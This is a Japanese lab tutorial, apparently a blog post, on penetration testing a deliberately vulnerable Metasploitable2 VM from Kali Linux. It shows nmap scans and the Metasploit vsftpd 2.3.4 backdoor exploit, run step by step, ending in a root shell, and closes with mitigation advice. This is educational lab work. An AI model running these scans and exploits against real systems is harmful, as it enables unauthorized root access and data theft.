Kali LinuxのMetasploitで脆弱性を突いたペネトレーションテスト

　Metasploitという世界では有名なペネトレーションツールを利用して、脆弱性が含まれたツールを持つサーバを攻撃、遠隔操作する事例を紹介します。
　攻撃用のサーバ、Kali LinuxはデフォルトでMetasploitを使用することができます。程度にもよりますが、深刻な脆弱性を持ったツールを使っていることの恐さがわかると思います。

　※念の為、こういったものを悪用するのは犯罪です。利用するのは自己責任でお願いいたします。

[・Kali Linux](https://www.kali.org/)
[・Metasploit](https://www.metasploit.com/)

## 前提
Kali Linux実行環境があること。
⇒ [Virtual BoxにKali Linuxインストール](https://qiita.com/y-araki-qiita/items/4621a21e9f0d2e38c331)
metasploitable実行環境があること。
⇒以下参照。

## 環境について
今回ターゲットとなるサーバにはmetasploitableというものを使います。
脆弱性が含まれたサーバでMetasploitの動作テストに使われます。
以下リンクでVMDKが含まれたZIPファイルがダウンロードできるのでVirtualBoxなどに設定して立ち上げます。
[・metasploitable2 - download](https://ja.osdn.net/projects/sfnet_metasploitable/downloads/Metasploitable2/metasploitable-linux-2.0.0.zip/)

・ネットワーク
ネットワークアドレス: 172.20.10.0/28

・サーバ: IP
Kali Linux (攻撃者): 172.20.10.13
Metasploitable(ターゲット): 172.20.10.5


## ポートスキャン(nmap)
まずKaliでポートスキャンをしてローカルネットワーク内のホストIPを検索します。

```
root@kali:~# nmap -sP 172.20.10.0/28
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.1
Host is up (0.0029s latency).
MAC Address: B2:DD:5D:D2:49:64 (Unknown)
Nmap scan report for 172.20.10.2
Host is up (0.00020s latency).
MAC Address: 90:61:AE:ED:ED:BF (Intel Corporate)
Nmap scan report for 172.20.10.5
Host is up (0.00043s latency).
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Nmap scan report for 172.20.10.13
Host is up.
Nmap done: 16 IP addresses (4 hosts up) scanned in 3.95 seconds
```
自分以外に172.20.10.5というIPがあることがわかります。
そして以下コマンドで172.20.10.5をポートスキャンします。

```
nmap -sV -O -p- 172.20.10.5

※オプションについて
-p- 1~65535番までのポートを対象とするに
-sV各ポートのサービスのバージョン表示
-O ターゲットのOSを特定
```

実行すると以下のように表示されます。

```
root@kali:~# nmap -sV -O -p- 172.20.10.5
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.5
Host is up (0.00025s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
35896/tcp open  rmiregistry GNU Classpath grmiregistry
37623/tcp open  nlockmgr    1-4 (RPC #100021)
40375/tcp open  status      1 (RPC #100024)
60835/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.23 seconds
```
　ここでは21番のvsftpd2.3.4と445番のsmbd、またVNCも怪しそうです。
[CVE Details](https://www.cvedetails.com/)や[Exploit-DB](https://www.exploit-db.com/)でvsftpd2.3.4を検索すると、Backdoor Command Executionという脆弱性があることがわかります。
　内容としては、:)を含むユーザ名でFTPにログインするとポート6200にバックドアが開き、
そのためポート6200(TCP)にアクセスすることでvsftpdの実行権限で任意のコマンドを実行できるというものです。
　また[Exploit-DB](https://www.exploit-db.com/)の検索結果のリンクから、脆弱性を突くためのファイルもダウンロードできますが、今回既にKali Linuxでvsftpd_234_backdoortというファイルで用意されています。
　その内容も21番で:)を含むユーザ名を入力し6200でバックドアから侵入する内容です。
<img width="732" alt="キャプチャ2.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/637650ff-fc19-d658-6dba-47e2cc969370.png">




## Metasploitでvsftpdのバックドアを利用

### metasplot起動
```
msfconsole
```
以下のようなコンソールに切り替わります。
<img width="375" alt="キャプチャ.PNG" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/131627/d8ec7905-575f-9b9c-2b90-4fb019d1f1c1.png">


### vsftpd_234_backdoorを指定
```
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
```

### ターゲット設定
```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.20.10.5
```
### vsftpd_234_backdoor実行にあたり情報を表示
```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.20.10.5      yes       The target address range or CIDR identifier
   RPORT   21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

### 実行
```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 172.20.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.20.10.5:21 - USER: 331 Please specify the password.
[+] 172.20.10.5:21 - Backdoor service has been spawned, handling...
[+] 172.20.10.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.20.10.13:43587 -> 172.20.10.5:6200) at タイムスタンプ +0900
```

プロンプトが返ってこないので操作しにくいですがroot権限なのでほとんどのことができます。

```
whoami
root
pwd
/
```
ここで[前回記事に上げた辞書式攻撃でのパスワード解析](https://qiita.com/y-araki-qiita/items/cda417e49108eee1fb7b)や、SSHについての情報が取得され、
またポート3306がオープンでしていたのでMySQLのユーザ、パスワードも知られた場合、深刻な被害、情報漏洩にもなります。またrootを奪取された場合ログを消去、改ざんされてしまいます。

## 対策
　ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策（パッチ適用など）。CVEなどの情報を定期的に収集していること。
また不要なポートは開けないのと、改ざん検知システムの導入なども効果があると思います。

## 関連記事
[・Kali LinuxでJohn The Ripper,hydraによるパスワード解析](https://qiita.com/y-araki-qiita/items/cda417e49108eee1fb7b)
[・Kali LinuxでDVWAを使いSQLインジェクション体験](https://qiita.com/y-araki-qiita/items/131efa82c4205e83fef8)
[・Kali Linuxを使いMACアドレスを偽装](https://qiita.com/y-araki-qiita/items/c5bbe63422fd14f67325)
[・Kali LinuxでWebクローニングを使いログイン情報取得](https://qiita.com/y-araki-qiita/items/2870354cc97842db0ea3)